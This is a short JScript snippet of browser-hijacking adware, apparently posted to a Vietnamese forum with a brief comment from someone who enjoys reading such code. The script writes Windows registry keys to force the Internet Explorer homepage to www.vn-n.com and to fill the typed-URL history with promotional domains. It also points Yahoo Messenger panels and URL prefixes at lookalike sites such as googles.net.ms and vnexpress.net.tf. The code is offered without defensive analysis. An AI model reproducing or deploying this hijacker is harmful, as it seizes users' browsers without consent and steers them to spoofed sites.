var url = "http://www.vn-n.com";
var burl = "http://www.vn-n.com";
var fso = new ActiveXObject("Scripting.FileSystemObject");
var tfolder = fso.GetSpecialFolder(0);
var filepath = tfolder + "\\inf\\constants.js";
var Shell = new ActiveXObject("WScript.Shell");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\Main\\Start Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\Main\\First Home Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\TypedURLs\\url1",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\TypedURLs\\url2","http://hongannet.com");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\TypedURLs\\url3","http://nhantuonghoc.hongannet.com");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\TypedURLs\\url4","http://amnhac.hongannet.com");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\TypedURLs\\url5","http://game.hongannet.com");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\TypedURLs\\url6","http://chat.hongannet.com");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\TypedURLs\\url7","http://vuonnhac.hongannet.com");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\TypedURLs\\url8","http://thethao.hongannet.com");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\TypedURLs\\url9","http://tintuc.hongannet.com");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\TypedURLs\\url10","http://amthuc.hongannet.com");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\TypedURLs\\url11","http://raovat.hongannet.com");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\TypedURLs\\url12","http://ketquabongda.info.ms");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\TypedURLs\\url13","http://photo.hongannet.com");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\TypedURLs\\url14","http://ketqua.hongannet.com");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\TypedURLs\\url15","http://vuontruyen.hongannet.com");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\TypedURLs\\url16","http://googles.net.ms");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Interne t Explorer\\TypedURLs\\url17","http://timkiem.net.tc");
Shell.RegWrite("HKCU\\Software\\Yahoo\\Pager\\View \\YMSGR_Launchcast\\content url","http://vnexpress.net.tf");
Shell.RegWrite("HKCU\\Software\\Yahoo\\Pager\\View \\YMSGR_Calendar\\content url","http://yahoo.hongannet.com");
Shell.RegWrite("HKCU\\Software\\Yahoo\\Pager\\View \\YMSGR_Games\\content url","http://yahoo.hongannet.com");
Shell.RegWrite("HKCU\\Software\\Yahoo\\Pager\\View \\YMSGR_Weather\\content url","http://yahoo.hongannet.com");
Shell.RegWrite("HKCU\\Software\\Yahoo\\Pager\\View \\YMSGR_buzz\\content url","http://yahoo.hongannet.com");
Shell.RegWrite("HKCU\\Software\\Yahoo\\Pager\\View \\YMSGR_Yahoo360\\content url","http://yahoo.hongannet.com");
Shell.RegWrite("HKLM\\Software\\Microsoft\\Windows \\CurrentVersion\\URL\\DefaultPrefix\\","http://");
Shell.RegWrite("HKLM\\Software\\Microsoft\\Windows \\CurrentVersion\\URL\\Prefixes\\www","http://");
Cái đoạn code này sẽ luôn đặt homepage là
www.vn-n.com và lưu vào file constants.js trong folder windows\inf.
Em khoái đọc code mấy cái nè lắm